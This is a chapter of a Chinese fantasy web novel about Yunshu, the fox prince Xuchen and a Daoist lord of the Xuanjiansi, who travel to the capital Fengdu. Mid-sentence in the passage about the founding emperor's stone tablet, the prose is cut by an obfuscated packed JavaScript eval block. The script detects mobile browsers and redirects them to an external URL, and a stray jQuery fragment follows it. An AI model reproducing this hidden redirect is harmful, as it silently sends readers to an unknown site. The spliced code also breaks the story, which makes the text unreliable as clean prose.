预想中的惊天爆炸没有发生,那股力量就这么悄无声息地消失了,巨狐满足地砸吧了一下嘴,庞大的身躯在一片柔光中迅速缩小,眨眼间又变回了那个墨衣红发的青年。
见到云疏,他脸上没有丝毫尴尬,反而亲亲热热地凑过去,眼睛亮晶晶的,“家主姐姐,好久不见,想我没?”
云疏:“……”
好不容易找到的线索就这么被他一口吞掉了,云疏冷声道:“你怎么在这里?”
勖宸不好意思地笑了笑,示意她看身后。
云疏顺着他示意的方向望去,只见一个外着玄衣、内衬明黄道袍的身影,正从荒原的薄暮中缓缓走来。
那人面容看不太真切,周身气息沉凝如岳,他步伐不快,却仿佛缩地成寸,几步便已近前。
勖宸小声在她耳边解释:“他就是玄监司那个道君。”
云疏瞥了他一眼,压低声音道:“来抓你的?”
勖宸眨了眨眼,笑得无辜,破有几分看热闹不嫌事大的模样。
云疏二话不说,转身就走。
跟玄监司道君对上?她还没活腻。
“诶?”勖宸在她身后嚷着,“你就这么走了?把我丢给这个老头抓去煲汤啊?”身体却挡在她和道君之间,摆出防御的姿态。
云疏没走两步,便觉周身灵力一凝,随后一道平和清晰的声音传入两人耳朵:“二位,故人相逢,何必急着走?”
得,这下谁都别想走了。勖宸心下电转,他从玄监司逃脱时就觉得过于顺利了,如今一出城就碰到云疏,道君又恰好出现在这里,天底下哪有这么多巧合。
难不成这道君真有通晓未来的能力?勖宸暗自摇头,这种能力他在妖界都闻所未闻,他不信一个凡人修士能有这般神通。
待道君走近了,云疏才看清他的模样,那是一张极为普通的脸,脱了这身道袍,与寻常的花甲老人无异。
“听闻青阳收了个徒弟,今日总算有缘得见。”他声音温和,见云疏不语,自顾自道:“按辈分,你该称我一声师伯。”
一旁的勖宸嘴角忍不住抽了抽,合着是一家人啊,怪不得都这么古怪。
云疏终于开口,声音淡漠,丝毫不怕惹怒他,“师父从未提起过什么师伯,我只知道玄监司有悖逆天道之行,他心灰意冷,这才离开。”
道君轻轻摇头,笑容不变,“天道何在?不过存乎人心罢了。你又怎知,他心中所执着的便是大道,而吾等所行的,便是邪道呢?”
这番天道地道的说辞听得勖宸脑袋发晕,他正想开口打断,就听云疏问:“道君今日现身,是为了我,还是他?又或是来救那位符司使的?”
谁料道君闻言,只和蔼地笑了笑,视线也转向勖宸,语气依旧平和:“玄监司本意,是想将殿下寻回,妥善安置,待界墟稍稳,便寻机送殿下返回妖界,也算全了两界一份和气。只是没想到……”
他顿了顿,看着勖宸的眼神带着几分无奈,“殿下似乎对玄监司的宝器颇感兴趣,不告而取,贫道这才不得不亲自前来追回。”
说着,道君抬手轻轻一招,一面小巧的铜镜便从勖宸怀里飞出来,稳稳落在道君手中。
勖宸下意识摸了摸空荡荡的怀里,脸上闪过一丝偷东西被抓包的尴尬,但很快又被理直气壮取代——拿敌人点东西怎么了?
道君拿了镜子,又细细打量云疏片刻,眼神中浮现些许疑惑。
片刻后,云疏只觉周身一轻,道君解了束缚,对两人微微颔首,笑道:“既然殿下不信任玄监司,那贫道便不打扰了。”
他从怀里掏出一块令牌,飞到勖宸手中,“来日,殿下可凭此信物来玄监司找我。”
说罢,他竟转身离去,一步踏出,身影便已消失在野地中。
勖宸看得目瞪口呆,心想这就放人了?还真是亲师伯啊。
然而云疏见道君离开,脸上并无半分轻松,他看向勖宸,“你把符奎吃了?”
勖宸颇有些得意地点头。
云疏试探着问道:“那你有没有……多出什么记忆,或者看到什么奇怪的画面?”这是她最后的指望了。
勖宸仔细感受了一下,茫然摇头:“没有啊,就是感觉灵力好像更充沛了点,味道嘛……有点呛,像烧糊了的符纸。”
他还品评上了。
云疏闭了闭眼,一股无力感涌上心头。她费尽周折,一路追杀,结果线索就这么被这只狐狸一口给嚼没了?
现在倒好,难道要她直接去问那位高深莫测的道君师伯:当年我师父是不是你派人害死的?
勖宸看着她难得露出这般郁闷的神情,轻声问道:“你不是在追查你师父的事吗?进展如何?”
云疏神色略显疲惫,“聊胜于无,……现在已经无了。”
她想了想,她其实没有太大把握能阻止符奎自爆,便没有把这事怪在勖宸身上,令她生气的,还是勖宸的不告而别。
勖宸暗自叹了口气,不太能理解,知道真相就这么重要吗?
在他看来,事情发生了就是发生了,知道细节又能改变什么?徒增烦恼罢了。不过他看云疏神色沉郁,这话在嘴里转了一圈,没说出来。
他忽然想起自己之前在道君书房找承影镜的时候,好像确实在架子上瞥见过一叠旧卷宗,里面就有青阳这个名字,当时他注意力全在宝器上,没当回事。
如今看来,这事儿确实跟玄监司脱不了干系。
看着她眉宇间难掩的疲惫,勖宸凑过去,神秘兮兮地说:“我这几天在玄监司做客的时候,倒是听到一些有趣的传闻,现在仔细想想,搞不好跟你师父有点关系哦。”
云疏抬眼看他,“哦?”
这狐狸以为她上钩了,话锋一转,“要不你跟我走啊,咱们路上慢慢说。”
他本意是想找个安全的地方,让云疏先休息一下,没想到她却伸手夺了他手里的令牌,“跟我来。”
三百年前,四合离乱,一支农民军拔地而起,后遭朝廷镇压,几近覆灭。
其首领走投无路,欲投崖自尽,却在山间遇一道人。首领得了道人点化,扭转乾坤,平定四方,最终在道人指点之下建都为崶,以期国祚绵长。
崶都围山而建,皇城位于城中心的崶山山腰。巍峨城门下立着一块石碑,上面刻着的正是太祖遇仙的纪闻,碑文中说,那位仙人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470217|185540||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正是五百成仙的徐道人。
那也是有史记载中,最后一位得道成仙的人,自此后人无论如何修行,都无法勘破大道,最终疯魔者也不在少数。
勖宸看着城门上“崶都”两个古朴大字,又看了看对着石碑出神的云疏,哭丧着脸,“咱们这跟自投罗网有什么区别?我上有八百岁老母亲,下有刚出世的小侄儿,我还不想死啊!”
云疏道:“道君既然放了你我,便有十足的把握找到你。况且,想抓你的不止玄监司一个,他们如今倒算是一张保护伞了。”
勖宸不解,问道:“什么意思?还有谁要抓我?”
云疏道:“邻国的仰天观那帮人。赵凝说,他们也得知了你的行踪,这才撺掇着隰国君主发动战争。”
勖宸一惊,没想到他还真是个香饽饽,随后又有些歉意地看向她,“那我尽快找到回妖界的办……法?”
云疏微微叹了口气,狐本无罪,怀璧其罪,勖宸的到来,真不可不谓之祸患了。
两人行至城门口,被守卫抬手拦住,“什么人?!”
勖宸这次抢着道:“我们途经此地的游商,想要进城一歇,还望行个方便。”
守城士兵看着他那一头火红的头发:“……”
“上头有令,无路牒者一律按照间隙处置!”
二人说着就要拔刀,云疏抬手,将令牌举至面前。
那令牌由玄铁铸成,通体漆黑,上刻一“玄”字,以及一形体奇特的兽形纹样。
守城士兵见了这令牌,先是一愣,随后连忙抱拳道:“小人有眼无珠,不识司使大人,大人请。”
两人就这么进了城,幸而如今已经入了夜,街上行人稀少。
然而这里终究不比山野,顶着这头红发出门去,简直比状元郎游街都要扎眼,云疏忍不住蹙眉:“勖宸,你能把头发变化成黑色吗?”
勖宸努力了一下,随即垮下脸,“不行。”
他理直气壮地解释道:“我们狐族天生丽质,向来不屑于专研那些低等的伪装化形之术。”
云疏扶额,你直接说自己学艺不精就好了。
勖宸也觉得自己有些惹眼,目光一瞥,看到不远处茶摊上,独自坐着个带斗笠的青年。
他自来熟地上前搭话:“兄台,茶摊都收了,你怎么还坐在这里?”
那人抬头,看样子约莫三十,穿着粗布衣衫,面容冷峻,下巴上满是胡茬,一只胳膊搭在桌子上,旁边倚着一柄用布包裹的长条形物体,看样子是剑。
“他且收他的,与我何干!”
勖宸嘴角抽了抽,道:“兄台,斗笠可否借我一用?”
那人抬头扫了一眼这个一头红发衣着古怪的异乡客,二话不说,摘下斗笠随手扔给勖宸:“拿去。”
“啊?”这下轮到勖宸愣住了,没想到这人看起来不好惹,居然这么好说话,“就这么给我了?”
那人起身,拿起桌边放着的剑,声音粗粝:“将死之人,一顶斗笠,何足惜哉!”
什么玩意儿?勖宸摸不着头脑,拿着斗笠,顺着那人离去的方向看去,一栋恢宏的建筑立于山腰——那里是…人间的皇宫么?